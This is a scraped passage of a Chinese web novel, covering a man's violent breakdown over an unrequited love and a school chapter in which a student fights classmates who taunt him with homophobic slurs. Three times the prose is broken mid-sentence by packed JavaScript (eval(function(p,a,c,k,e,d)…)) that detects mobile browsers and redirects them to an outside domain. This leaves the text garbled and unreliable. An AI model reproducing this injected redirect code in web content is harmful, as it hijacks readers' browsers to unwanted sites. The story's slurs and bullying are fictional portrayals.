留下餐厅一片死寂。元华和刘鑫面面相觑,从对方眼中看到了同样的惊涛骇浪。 车内,空气粘稠得令人窒息。 后座,周君珩的手依旧铁箍般攥着褚亭玉的手腕,仿佛那是维系他摇摇欲坠世界的唯一绳索。指腹深陷在褚亭玉突出的腕骨上,青筋在白皙的手背上狰狞暴起。 他侧着头,目光一瞬不瞬地盯在褚亭玉的脸上,眼眶的红血丝在昏暗光线下更显骇人。 褚亭玉偏头望着车窗外飞速倒退的街景。车窗映出他模糊的侧影,几缕半长黑发凌乱垂落,下颌线绷紧如刀削。腕骨处传来清晰的钝痛,他连眉头都未曾动一下。 前座的袁刚屏住凝神,握着方向盘的手心全是冷汗。他眼观鼻鼻观心,不敢发出丝毫声响,车厢内只剩下轮胎摩擦路面的沙沙声和周君珩压抑沉重的呼吸声。 车子最终驶入一处顶级公寓的地下车库,直达专属电梯厅。电梯无声上行,数字不断跳动,密闭空间内的气压低得让人喘不过气。 “叮——” 门开启的瞬间,周君珩几乎是粗暴地将褚亭玉搡了进去,反手“砰”地一声巨响甩上门,彻底隔绝了外界。 沉重的关门声在空旷奢华的玄关激起回响,震得人耳膜发麻。 下一秒,褚亭玉只觉得一股巨力袭来,后背狠狠撞在冰冷的玄关墙壁上。预想中的剧痛并未传来,周君珩在最后关头用另一只手垫在了他的后脑与墙壁之间。 饶是如此,冲击力还是让褚亭玉喉间溢出一声闷哼。 周君珩将他死死抵在墙上,高大身躯带着灼人的体温和山峦般的压迫感逼近,将他完全笼罩在自己的阴影里。他的身体因剧烈的情绪而无法自控地微微发抖,每一次呼吸都带着滚烫的气息喷在褚亭玉的颈侧。 “为什么......”周君珩的声音低哑得像砂纸磨过,“褚亭玉......告诉我为什么?!”他通红的、蓄满泪水的眼睛死死锁住褚亭玉毫无波澜的脸,泪水终于决堤,大颗大颗的砸落,迅速洇湿了褚亭玉黑色的毛衣前襟。 “你到底把我当什么?召之即来挥之即去的玩物吗?!”他嘶吼着,声音支离破碎,裹着浓重的哭腔,那是一种被彻底践踏尊严、被反复凌迟后发出的绝望诘问。 所有引以为傲的教养与矜持,在眼前这个人面前,早已粉碎殆尽。 褚亭玉没有挣扎,甚至没有试图推开他,任由自己被禁锢在墙壁与周君珩的身体之间。 他抬起那只未被禁锢的手,动作带着一种近乎诡异的、缓慢的怜惜。修长冰凉的指尖,轻轻拂过周君珩眼下濡湿的泪痕。 那冰凉的触感带起细微的电流,让周君珩的身体剧烈地一颤。 褚亭玉看着他,黑眸深不见底,如同无光的深海。 他开口,语气很平:“周君珩,你弄错了一件事。”指尖停留在周君珩滚烫的皮肤上,“从来,不是我把你当玩物。” 这句话,像一把裹着冰霜的重锤,狠狠砸在周君珩早已千疮百孔的心脏上。没有解释七年前的杳无音信,没有解释此刻的突然出现,只有一句冰冷模糊的陈述。 对,是他,从头到尾都是他一厢情愿,摇尾乞怜。 周君珩看着近在咫尺、魂牵梦绕又恨之入骨的脸,此刻平静得近乎残忍。 “褚亭玉......”周君珩的声音嘶哑得不成样子,带着一种近乎绝望的渴望。 他缓慢低头,朝着那两片紧抿的、色泽如血的唇压去。 就在他的气息即将覆盖过去的刹那,褚亭玉的头极其轻微、又异常坚决地向后一仰。 动作幅度不大,甚至称不上反抗,但那瞬间拉开的、不足一寸的罅隙,却骤然化作一道深不见底的鸿沟,冰凉地横亘在两人唇齿之间。 吻,落空了。 周君珩的动作瞬间僵住。所有的期待、卑微的乞求、强撑的理智,在这一刻彻底崩断! “唔......!”一声压抑到极致,如同濒死野兽般的呜咽从他喉咙深处迸裂出来。 他猛地直起身,眼里最后一点理智的光彻底湮灭,只剩下足以焚毁一切的烈焰。 他不再试图去碰褚亭玉,踉跄着后退一步,随即,像一个被无形的鞭子抽打的狂徒,猛地扑向最近的一个置物架。 哗啦——! 价值不菲的珐琅彩瓷瓶被狠狠掼向地面,摔得粉碎! 砰!哐啷! 沉重的艺术铜雕被他抡起砸向光洁的大理石地面,发出震耳欲聋的巨响! 呼啦——咔嚓! 一整墙的藏酒被他抓起一瓶瓶砸向墙壁!刺耳的爆裂声中,玻璃碎片飞溅,昂贵的酒液喷涌,浓烈醇厚的酒香混合着毁灭的气息疯狂弥漫。 名贵的画框被扯下,水晶摆件被扫飞,定制的茶几被掀翻......每一次破坏都伴随着他压抑到极致的粗重喘息和无法抑制的泪水。 褚亭玉始终安静地站在玄关那片狼藉的阴影里,背靠墙壁,像一个置身事外的旁观者。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871351|176218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他看着周君珩癫狂地摧毁着目之所及的一切,那双黑眸里,倒映着碎片飞溅的弧光和那个痛苦绝望的背影,依旧古井无波。只在周君珩动作过于危险可能伤及自身时,眼神会极快地掠过一丝难以捕捉的阴翳。 终于,周君珩的力气似乎耗尽。他僵立在废墟般的客厅中央,脚下是破碎的瓷片、扭曲的金属、流淌的酒液和散落的书籍。 奢华的地毯被浸染得面目全非。他背对着褚亭玉,肩膀剧烈的耸动,压抑的呜咽声断断续续,像受伤幼兽的哀鸣。 不知过了多久,那剧烈的颤抖才稍稍平息。周君珩缓缓地、极其艰难地转过身。 他脸上泪痕交错,头发凌乱粘在额角,昂贵的羊毛衫上沾染着大片深色酒渍,眼神空洞得像被掏走了灵魂。 他望着阴影里的褚亭玉,一步一步,拖着沉重的步伐,带着一身毁灭后的颓败气息,重新走到他面前。 他抬起布满血丝的眼睛,声音嘶哑得不成调,带着一种濒临溺毙之人抓住最后一根救命稻草的卑微乞求: “褚亭玉......”他唤着他的名字,声音轻得像一声叹息,又重得砸在人心上,“我不信......我不信你这么多年,完完全全看不出来......”他深吸一口气,仿佛用尽了全身力气,吐出那锥心刺骨的四个字,“......我喜欢你?” 他每问一句,就固执地重复一遍那个名字,仿佛那是他唯一的救赎,“亭玉......还是你真的......真的完全接受不了我?” 他死死盯着褚亭玉的眼睛,试图从那片深不见底的寒潭里,捕捉到哪怕一丝一毫的松动或涟漪。 “亭玉......”他又向前挪动一步,身体几乎要贴上褚亭玉,声音里是浓得化不开的痛楚和绝望,“你真的......真的对我......一点好感都没有吗?哪怕......只有一点点?” 他声音颤抖得厉害,带着无法抑制的哭腔,几乎是匍匐在地般哀恳着,“我求你了......亭玉......别这样对我......求你……” 每一声“亭玉”,都像是用灵魂在呼唤,眼中的乞求便浓稠一分。他抛弃了所有的尊严,剥开了所有的伪装,将自己最脆弱、最不堪的一面,血淋淋地摊开在褚亭玉面前,只求一个答案,哪怕是一个让他万劫不复的答案。 然而,褚亭玉只是静静地看着他。 看着他猩红的眼,看着他狼狈的脸,看着他眼中那几乎要溢出来的、浓烈到令人窒息的爱与绝望。 玄关顶灯的光线斜斜打下来,照亮褚亭玉的半张脸,另一半则隐在更深的阴影里。左眼下那颗浅褐色的小痣,在光影交错中,显得格外清晰,也格外冷漠。 他没有回答。 没有承认,没有否认。 灭顶的无力感像潮水般汹涌而至,瞬间抽干了周君珩支撑身体的最后一丝力气。膝盖一软,他整个人如同断线的木偶,不受控制地向后栽。 一双有力的手臂却在他触地之前,稳稳地托住了他下坠的身体。褚亭玉的动作快得惊人,几乎是同步地跟着他屈膝半跪下来。 周君珩的脸重重埋进褚亭玉的颈窝,额头抵着他冷硬的肩线。 褚亭玉没有推开他,也没有说什么安慰的话。修长有力的手指,带着薄茧的指腹,动作平缓地一下,又一下,沿着周君珩紧绷的颈骨和痉挛的肌肉线条,缓慢地、带着某种奇异节奏地抚摸着。 周君珩在他怀里抖得更厉害了,呜咽被强行压抑在喉咙深处,变成破碎沉重的喘息。眼泪流得更凶,仿佛要将这七年的分量全部流干在褚亭玉的肩头。 褚亭玉微微侧过头,下颌抵着周君珩汗湿的发顶。他的目光越过周君珩颤抖的肩膀,落在那片被他亲手摧毁得如同废墟的客厅上。昂贵的水晶吊灯折射着破碎的光,映在他深不见底的黑眸里,却没有照亮分毫。 那双眼睛,此刻异常幽邃。 没有心疼,没有歉疚,甚至没有一丝常人该有的慌乱或怜悯。 那里翻涌着的,是一种近乎餍足的、冰凉的亢奋。一种目睹最珍贵的艺术品为自己彻底破碎、燃烧后,从灵魂深处升腾起的,隐秘而强烈的满足感。 7. 第 7 章 褚亭玉从教室后门晃进来的时候,高二(7)班的读书声已经盖过窗外的鸟叫。他扫了一眼,座位差不多坐满了,就剩下几个孤零零的空位散在各处。 懒得费劲猜自己该坐哪儿,他两步跨到靠后门最近的一个男生旁边,指关节“叩叩”两声,敲在对方堆成小山的书堆上。 “你好,”声音不大,带着点刚睡醒特有的沙哑,“我的座位是哪个?” 那男生正埋头看书,被这声动静惊得一抬头。看清是褚亭玉的脸,眼神明显一愣,眉头随即就拧成了疙瘩,身体下意识就往墙边缩,嘴唇动了动,却没憋出半个字。 褚亭玉等了片刻,教室里其他角落的读书声还在继续。以为对方没听清,大清早积攒的那点起床气拱了上来,他耐着性子又问了一遍,声音沉了点:“问你呢,我坐哪?” 这次,男生非但没回答,反而像是被什么脏东西挨着了,满脸的嫌弃,屁股下的椅子“刺啦”一声,硬是又往里挪了半寸,恨不得离他八丈远。 那眼神,活脱脱在看一块带着病菌的垃圾。 褚亭玉眉梢一挑。行,明白了。看来原主在这班上的人缘,大概跟臭水沟的石头差不多,谁沾上都嫌晦气。 可惜了,他褚亭玉不是石头,更不是能让人随便捏的软柿子。 “哐当——” 一声闷响,不算惊天动地,却足够刺耳,瞬间压过了教室里稀稀拉拉的读书声。 褚亭玉直接一脚踹在男生的桌腿上,没收力。桌面上的书堆应声一抖,几本练习册和卷子哗啦滑落在地。 “聋了?”他声音不高,但那股子沉沉的压迫感让整个教室肉眼可见地安静了下来,所有的目光齐刷刷射向后门角落。 男生脸腾地涨得通红,一半是吓的,一半是当众被踹桌子下不来台的羞愤。他再次抬起头,张嘴就想骂:“你他......”可“妈”字还没出口,就对上褚亭玉的眼睛。 那双眼睛没什么情绪,没有怒火,也没有威胁,就只是平平地看着他,像两口深不见底的古井,凉飕飕的,望不见底。 男生喉咙里那股气不知怎么就被戳散了,后面的话硬生生噎在嗓子里。手指不情愿地抬起来,飞快地指向教室靠窗最后排一个空位:“那边。” 褚亭玉顺着他指的方向撩了一眼,没吭声。他收回脚,弯下腰,把掉地上的几本书捡起来,拍了两下灰,整整齐齐地给摞回桌上被他踹歪了的书堆顶端。 “谢了啊。”他嘴角扯出个要笑不笑的弧度,语气自然得像刚才那出戏压根没发生过。 说完,他拎着书包,径直朝对方所指的空位走去。他能感觉到四周那些针扎似的目光,还有压低的、带着恶意和嘲弄的窃窃私语。 褚亭玉全当没听见,走到自己的课桌前。桌上仅散落几本旧书,与周遭堆得像堡垒一样的课桌相比,显得分外寒酸。 褚亭玉一屁股坐下,把空瘪的书包往桌肚里一塞。教室里,被他踹桌子惊起的短暂安静刚过去不久,细碎的窸窣声又响了起来。 他本来懒得理会,但邻组中间有几个男生的声音却相当刺耳,带着毫不掩饰的恶意,几乎是扯着嗓子嚷给他听。 其中一个校服拉链几乎坠到肚脐眼,露出里面艳俗的T恤,另一个支棱着几撮扎眼的黄毛。两人都歪脖斜眼,吊儿郎当地打量着褚亭玉,目光里尽是市井痞气。 “哟嚯,领子拉这么高干嘛?心虚啊?”拉链敞开的那个吹了声口哨,嗤笑道,“怕人看见你脖子上的印儿?啧啧。玩得挺野嘛!” 教室里立刻响起一阵不怀好意的哄笑,不少人伸着脖子往后看。 黄毛立刻接腔,嗓门拔得更高:“就是!平时装得跟个闷葫芦鹌鹑似的,背地里玩这么开?还会穿女装,是去勾引谁了吧?是不是就喜欢男人搞你啊?死同性恋!” 另一个声音也挤进来,下流又恶意:“听说他妈就是干那个的,这玩意儿也遗传吧?贱不贱呐!” 那些污言秽语灌进耳朵。褚亭玉垂着的眼睫动了一下,几个字眼清晰扎进脑海:“女装”、“同性恋”、“他妈”、“卖”。 原主?同性恋? 他心里没起什么波澜,只觉得像听见了几只苍蝇围着腐肉嗡嗡叫,又聒噪又恶心。 前世也好,今生也罢,总有些蠢货喜欢用些低级的行为来彰显自己的无知。 没有任何预兆,褚亭玉忽然动了。他看也没看,手臂一扬,桌面上仅有的那几本破旧课本和练习册,被他像扔垃圾一样,精准又狠戾地砸向了声音最响的那几个方向。 “啪!”“哗啦!” 书本砸在课桌上,甚至有人身上,散落一地。 整个教室瞬间死寂。所有人像被施了定身法,不敢置信地看向后排。 褚亭玉根本没站起来。他整个人放松地靠在椅背上,两条长腿大剌剌地敞开着,手肘随意地搭在扶手上,那姿态,不像个学生,倒像是坐在自己地盘上的恶霸头子。 他脸上没什么明显的怒容,眼神却冷得能掉冰碴子,慢悠悠地扫过那几个被砸懵了的男生。 “吵死了。”声音依然不高,甚至有点懒洋洋的调子,“嘴巴这么臭,早上起来没刷牙,还是刚啃完屎了?” 褚亭玉顿了顿,目光移到那个骂“他妈”的黄毛脸上,嘴角极其缓慢地向上扯了一下,露出一个毫无温度、带着点邪性的笑,“还有你,张口闭口‘卖’。怎么,你妈干这行的时候,你趴门缝亲眼观摩过?经验这么丰富,她卖相如何啊?” 这话不是一般的毒。平静的语气配上这侮辱性拉强的反问,杀伤力直接爆表。 “我操|你|妈!褚亭玉你个狗|娘养的!”黄毛像被捅了肺管子,脑子“嗡”的一声,血全涌上了头,理智彻底崩断。 他目呲欲裂,像头被激怒的野牛,猛地掀翻自己面前的桌子,书本哗啦摔了一地,捏着拳头,红着眼睛就朝褚亭玉扑了过来,拳头带着风直砸他面门! 褚亭玉眼神一厉。就在黄毛冲到跟前,拳头眼看着就要砸下来的刹那,他坐着没动,左脚闪电般蹬出! “砰!” 一声闷响,结结实实踹在黄毛的小腹上。 黄毛冲过来的势头有多猛,被踹回去的力道就有多狠。他发出一声痛苦的闷哼,整个人像被抽掉了骨头,捂着肚子踉跄着向后猛退,“哐当”一声撞翻了同伴身后的桌子,稀里哗啦滚倒在地,蜷缩成一团,疼得脸都扭曲了,一个字也吐不出来。 整个教室再度陷入死一般的寂静,落针可闻。 所有人都目瞪口呆地看着后排,眼珠子都快掉出来了。那个拉链 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“班主任你看他把李博打的!我们都看见了!他就是个疯子!无缘无故发疯打人!”第三个也急忙补充,生怕说晚了。 “打人?”被叫班主任的女人脸色一沉,声音拔高八度。 她端着保温杯,踩着矮跟皮鞋,几步从讲台侧边的过道往后排走。越靠近,眼前的景象就越让她血压飙升。 翻倒的桌子,散落一地的书本和文具,蜷在地上疼得直抽气的黄毛,对峙的三人,以及站得笔直、一脸漠然的褚亭玉。 “砰!”保温杯被她重重掼在旁边的课桌上。 “无法无天!简直是无法无天!!”她看着这片狼藉,气得声音都尖了,手指颤抖指着整个后排区域,目光像刀子一样剐过他们几人,“看看!看看你们干的好事!这里是教室!是学习的地方!不是你们打架斗殴的街头!反了你们了!” 她的怒火显然不只是针对褚亭玉一人。这混乱的现场和聚众闹事的样子,在她看来就是一群不省心的刺头集体惹祸! 她手指狠狠点过抓着桌子站稳的黄毛、拉链男三人,最后死死定在褚亭玉身上:“你!你们!闹事的,有一个算一个!都给我滚出来!现在!去办公室!” 8. 第 8 章 班主任姓王名艳,教语文的。她目光扫了一眼捂着肚子,脸色不是很好的黄毛,指了指墙边一张空着的椅子。 “李博,你先坐下。” 李博呲牙咧嘴地蹭过去坐下,眼刀子狠狠剜向几步开外的褚亭玉。 褚亭玉微垂着头,站在靠近门的地方,额前的碎发遮住了他大半张脸,看不清神情。洗得发白的校服领口习惯性拉到顶,衬得那身形愈发单薄伶仃。 另外三人像没骨头似的吊儿郎当杵在李博两侧,肩膀挤挤挨挨,眼神乜斜着四处乱瞟,就是不正眼瞧人。浑身上下,连头发丝都透着一股子混不吝的痞气和讨人嫌的躁动。 王艳的目光在两边逡巡一圈,心里的天平其实早有倾斜。 魏志勇、李博这几个,年级里都挂了号的刺头,惹是生非是家常便饭。至于褚亭玉......她的视线再次掠过前方低垂的脑袋,心里有点复杂。总成绩平平,但语文成绩稳居班级前三,作文常有灵气,就是性子太孤僻,独来独往,像个透明人。 班里那些关于他的风言风语,什么“怪胎”、“阴沉”,甚至更不堪的揣测,她不是没听过。只要不影响成绩和课堂秩序,她一向是多一事不如少一事。 可今天这场面,实在闹得太难看了。 “目无校纪!”王艳一巴掌拍在办公桌上,震得笔筒里的笔滚出来好几支,“早读课闹成这样!李博,你这伤怎么回事?还有你们几个!”她手指点过魏志勇三人,“聚众打架?当学校是什么地方?!” 魏志勇立刻挺直腰板,脸上写满了被冤枉的愤慨,抢着开口:“班主任,这回真不是我们先挑事!是褚亭玉,他先莫名其妙拿书砸我们,接着又动手打人。你看看李博被他踹的。我们好好在读书,谁知道他发什么癫!” “就是!都好好看书呢,他突然就动手!”钱正业赶紧帮腔。 “下手可黑了。我们都瞧见了。”李杰伟抢着补充。 “闭嘴!让你们说话了吗?吵吵嚷嚷像什么样子!”王艳厉声喝断。 她转向褚亭玉,声音压了压,带着点例行公事的引导:“褚亭玉,你说。为什么打李博?” 被点到名字,褚亭玉肩膀一缩。他慢慢抬起头。 肤色是常年不见阳光的苍白,眼睫低垂,嘴唇抿得死紧,几乎没了血色。整张脸清秀得有些过分,此刻笼着一层茫然又惊魂未定的脆弱,特别是那双眼睛,抬起来看向她时,里面盛满了无措和......一丝极力压抑的难堪? 他没有立刻回答,仿佛被无形的重担压得喘不过气,飞快地瞥了魏志勇他们一眼,又迅速低下头,肩膀开始小幅度地发颤。 王艳眉头锁得更紧。这孩子吓成这样? 魏志勇瞅着褚亭玉这副“装可怜”的样子,火气“蹭”地往上冒,尤其见班主任探究的目光扫过来,他忍不住从鼻孔里挤出一声冷哼。 王艳刚收回目光转向褚亭玉,魏志勇身体就朝褚亭玉那边倾了倾。嘴唇几乎没动,齿缝里挤出低得只有近处能听见的气音:“敢乱说,放学弄死你。” 王艳眼角余光瞥见魏志勇鬼祟的小动作,不满喝道:“魏志勇!干什么呢?站好!站没站相!” 她深吸一口气,语气刻意放软了点:“褚亭玉,别怕。有老师在,没人能把你怎么样,按实际情况来说就行。” “老师......”褚亭玉的声音抖得厉害,轻得像蚊子哼哼,“我...我没......”他手指神经质地绞着校服下摆,“是他们一直骂我,骂得太难听......我受不了......”声音越来越小,尾音拖着浓重的鼻音,仿佛下一秒就要哭出来。 就在王艳拧眉思索“太难听”具体指哪方面时,褚亭玉歪头向魏志勇那边瞥了一眼。 只一瞬,他脸上所有脆弱与惊惶的痕迹像被橡皮擦抹掉,眉宇间的嚣张恣意明晃晃亮出来,唇齿无声开合,啐出两个字:“垃、圾。” 魏志勇正盯着他,将这挑衅看得分明,脸瞬间气得扭曲。 褚亭玉嘴角得意一勾,慢悠悠要转回脸。眼梢扫过门口,心里头咯噔一下,一个高挑的身影不知何时已静静杵在那里。 他的动作几不可察地顿住半拍,正正对上一双静得发沉的眼睛。 ……什么冤家,没完了还?心里头一阵无语,脸上倒没事人似的转回来,眼皮子一耷拉,又成了那副蔫样儿。 “我们骂你什么了?啊?你他妈给老子说清楚!” 褚亭玉这副人前人后两张皮的贱样,彻底把魏志勇点炸了。 眼看班主任脸黑得像锅底,这小子还在那儿“上眼药”,居然敢当自己面儿装蒜,还敢骂他垃圾! 魏志勇脑子里的弦“嘣”地就断了,什么顾忌都他妈喂了狗。他眼珠子通红,指着褚亭玉的鼻子,唾沫星子喷出老远: “垃圾?!你他妈再说一遍试试!当老子眼瞎?!草泥马的褚亭玉!装!你再给老子装个可怜相看看?!” 他吼得额角青筋都暴起来,喘着粗气,话头根本不歇,恶毒地往下凿: “骂你又咋了?!难道骂错你了?!你个死变态!大老爷们穿裙子不是同性恋是什么?!装什么纯?!” 他像是突然抓住了什么把柄,声音拔得更高,手指几乎戳到褚亭玉的脸上: “有种把领子拉下来啊!让大家看看你脖子上那些骚印子!是不是野男人啃的?!你妈不就是干那行的婊......” “魏志勇!!!你给我住口!!!”王艳拍案而起,声音尖利得破了音,整个人气得直哆嗦。 她指着魏志勇,手指都在颤,“你......你简直混账!无法无天!在老师面前都敢这样侮辱诽谤同学!甚至侮辱同学家长?!你......你们......”她气得胸口剧烈起伏,一时竟说不出完整的话。 魏志勇被吼得缩了下脖子,脸上非但毫无悔意,反而梗着脖子,指着褚亭玉的领口对王艳不甘心吼道:“老师,你不信?你让他把领子拉下来看看!那印子明摆着!穿女装的事全校都传遍了!他就是个恶心的同性恋!谁知道他昨晚跟哪个野男人鬼混去了!这种人在我们班就是个祸害!我们骂错了吗?!”他豁出去了,反正不要脸的是褚亭玉。 王艳气得眼前发黑。教师群里早传开了褚亭玉穿女装的帖子链接,连教导主任都隐晦提过要注意学生“思想动态”。 同性恋?在这个年头,绝对是惊世骇俗、需要严肃处理的大问题。 她本也打算私下找他谈谈,但绝不是以这种扒皮抽筋的方式!看着仿佛被剥光了示众的褚亭玉,她心头又气又恼,更多是想赶紧结束这场难堪的闹剧。 她强压下怒火,准备先把魏志勇这几个混账轰出去。 “够了!你们几个.......” 这时,办公室的门被敲响了。笃、笃、笃。三声,不疾不徐。 除了褚亭玉,所有人的目光下意识投向门口。高挑挺拔的男生走了进来,手里托着一摞作业本。他神色平静,径直走向靠里一个中年男老师的办公桌。 “张老师,今天的数学作业。”声音清冽平稳,像山涧淌过的冷泉。 张磊正竖着耳朵看这边的热闹,被点名吓了一跳,赶紧接过本子:“哦哦。好,放这儿吧。辛苦了君珩,快回去早读吧。”他只想赶紧把这位年纪的宝贝疙瘩打发走,离这滩浑水越远越好。 周君珩却没动。他目光冷淡地扫过呈对峙之势的魏志勇几人,越过气得发抖的王艳,最终落在低着头的褚亭玉身上。他抬步,在所有人诧异的注视下,走到褚亭玉身旁。 王艳和张磊的心同时提到了嗓子眼。 周君珩站定,微微侧身面向王艳,语气平平,但足以让整个办公室都听清: “王老师,他脖子上的痕迹,是我造成的。” 这句话如平地惊雷,炸懵了所有人! 魏志勇、钱正业、李杰伟张大了嘴,眼珠子差点瞪出来,一副见了鬼的表情。李博也忘了疼,傻在椅子上。 王艳脸上的怒容一下子转换成浓重的的错愕和茫然。 就连一直游离在外的褚亭玉,也回神看向男生线条优越的侧脸。 “啥玩意儿?!”张磊吓得直接从椅子上弹了起来,一个箭步冲过去死死拽住周君珩的胳膊,“周君珩你抽什么疯?!关你屁事!赶紧回去上课!” 他一边说一边拽着周君珩往外拖,脸上全是“祖宗求你别惹事”的焦灼。褚亭玉那些同性恋的传言......周君珩是学校捧在手心里的TOP1大学苗子,容不得半点闪失的金字招牌。 这两人扯上关系?打死他也不敢想! 周君珩手臂一抬,轻易挣开张磊的手。 “王老师。”他转向王艳,语气笃定,“确实是我弄的,但不是大家想的那样。” 他顿了顿,目光凉凉地扫过魏志勇,刚才还气焰嚣张的几人,立即噤若寒蝉。 “我和褚亭玉,”周君珩刻意加重了这三个字的咬字,“是朋友。前两天闹着玩,是我下手没个轻重。他皮肤薄,容易留印子,看着吓人罢了。” 那语气里的维护,是个人都听得出,“褚亭玉不是他们嘴里那种人。今天的事,到此为止。以后,” 他的视线最后凝成实质,压在魏志勇脸上,“再让我听到有人传些污人清白的闲话,别怪我不客气。” 办公室里落针可闻。王艳和张磊面面相觑,惊疑不定。 朋友?闹着玩?脖子上的痕迹......那位置,那形态,怎么闹出来的?可信吗? 但周君珩......他没必要撒谎。他话里的分量,他们都清楚。 周君珩说完,不再看他们。他知道,以他的身份,这番话撂下,无论他们信几分,学校里都不会再有人敢明目张胆地嚼褚亭玉的舌根。 目的达到,他不再理会这僵滞的空气,转身走到褚亭玉面前。 “走吧。”他语气转缓,“送你回教室。” 王艳张了张嘴,摄于周君珩平静却极具压迫感的气场,最终哑然。 话一出口,周君珩心里就打起鼓。以褚亭玉之前两次碰面时拒人千里的性子,会接受他的好意吗?他几乎能预见对方冷着脸让他别多管闲事的场景了。 然而出乎意料,一直垂着头,仿佛隔绝在另一个世界的褚亭玉,闻言竟抬起头,低低应了一声:“哦。” 声音很轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871353|176218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,带着点模糊的鼻音,异常地...顺从。 周君珩微微一怔。这反应......太乖了。完全超出了他的预期。 这突如其来的温顺,像根柔软的羽毛,在他心尖上不轻不重地搔了一下,带起一阵微妙的痒。 走廊空旷,只有两人单调的脚步声。 周君珩的教室就在这层楼,褚亭玉的在上一楼。走到分层的楼梯口,周君珩脚步一顿。褚亭玉也跟着停下。 周君珩侧过身,看着褚亭玉低垂的眉眼,鬼使神差开口:“你等我一下。”语气里带着点他自己都没察觉的,近乎商量的意味。 褚亭玉没应声,但也没其他动作。 周君珩心里莫名有些急,紧跟着补上一句,生怕人跑了:“就一小会儿。很快。” 褚亭玉抬头看了他一眼,幅度很小地点了点头。 看到对方点头,周君珩心头倏地一松,甚至涌上一点没来由的高兴。 但这高兴转瞬又被一种奇怪的别扭感取代。他干嘛这么上赶着?他甩开这点情绪,没再多想,转身快步走向自己教室。 褚亭玉脊背靠上冰凉的墙壁,早读的声浪从紧闭的教室门里闷闷地透出来,走廊里空荡荡的,只有他一个人。 他目光没什么焦点地落在对面墙壁一块剥落的墙皮上,办公室里那副精心描摹的脆弱面具,此刻早已褪得干干净净,只剩下一片沉寂的漠然。 脚步声由远及近,带着点微喘。周君珩回来了,手里捏着个小小的白色喷雾瓶。 “试试?”他把瓶子递过去,“不知道管不管用。” 褚亭玉的视线在小瓶子上停顿了几秒,眼神沉沉的,看不出在想什么。 “用不着,过两天自己就消了。”他了解自己这身皮肤的毛病,看着吓人,其实没多大事。 周君珩却像没听见。一想到那淤痕怎么来的,心里就像堵了块小石头,闷闷的,有点不是滋味。 他不再废话,直接伸手扣住褚亭玉的手腕,不由分说地将人拉进楼梯口更里面,光线稍暗的角落。 “就喷两下。”周君珩拧开盖子,声音压低了些,带着点近乎哄劝的坚持,“抬头。” 手腕被攥住的地方传来温热的触感,褚亭玉身体瞬间绷紧,本能想甩开。他抬起眼,撞进周君珩的目光里。 那双眼睛里映着楼梯间窗口透进的微光,里面是纯粹的、毫不作为的关切。 褚亭玉挣扎的动作一顿,在周君珩一瞬不瞬的注视下,终于偏过头,伸手“唰啦”一声拉开校服拉链。 那片狰狞的青紫暴露在昏暗的光线下,像一条丑陋的毒蛇缠绕在白皙如玉的颈项上。 他沉默地微扬起下巴。 周君珩看着眼前这一幕。少年仰着头,露出最脆弱的部位,姿态是全然交付的驯服。 心头那股“他怎么能这么乖”的古怪感觉又冒了出来,甚至比在办公室里时更汹涌地撞击着他的胸口。 他喉结无意识地滚动了一下,才稳住心神,小心翼翼地凑近,屏住呼吸,对着那片淤痕仔细地喷了几下。 冰凉的药雾落在皮肤上,激起细微的刺痛,随即又被奇异的清凉覆盖。 有点舒服,又痒痒的。 褚亭玉仰着脖子,能清晰地感觉到周君珩温热的呼吸,一下,又一下,羽毛般拂过他敏感的颈侧皮肤。突然,一点温热干燥的触感擦过他的下巴尖。 是周君珩的指腹,大概是想托着他的下巴调整角度。 像被滚烫的烙铁猛地烫了一下,褚亭玉浑身汗毛都竖了起来。 这突如其来的的肌肤接触,让他极度不适。 他强忍着没立刻发作,绷紧的神经只撑了一两秒,便再也按捺不住,霍然抬手,一把攥住周君珩那只悬在他下巴边的手腕,用力拉开。 “可以了。”他声音绷得像拉紧的弓,带着明显的抗拒。 周君珩的手僵在半空,看着褚亭玉飞快地把拉链拉回顶,别开脸。他心头那点因对方顺从姿态而悄然鼓噪起来的心跳,像是冷不丁被一只无形的手轻轻攥住,忽然一窒。 那点微妙的悸动瞬间沉了下去,只余下一片空茫的寂静,带着点说不清道不明的涩意,在胸腔里无声地弥漫开。 恰在这时,早读结束的铃声适时响起,打破了楼梯间这微妙的僵持。 周君珩迅速敛起所有情绪,盖好瓶盖,塞进褚亭玉手里。 “拿着,按时喷。”他语气恢复了惯常的干脆。 褚亭玉皱着眉,看着手里还带着对方体温的小瓶子。直到走廊那头传来纷沓的脚步声,才冷淡地扔下一句“先走了”,转身几步跨上楼梯,身影消失在拐角。 回到教室角落的位置坐下。偌大的教室里只剩下零星几人,都下去参加升旗仪式了。 他没动,手指在口袋里碰到那个硬邦邦的喷雾瓶。颈侧仿佛还残留着温热的呼吸拂过的痒意,下巴上那点被触碰的触感更是清晰得让人烦躁。 褚亭玉指尖在冰凉的瓶身上狠狠按了一下。 搞什么,自己手是废了还是怎么着? 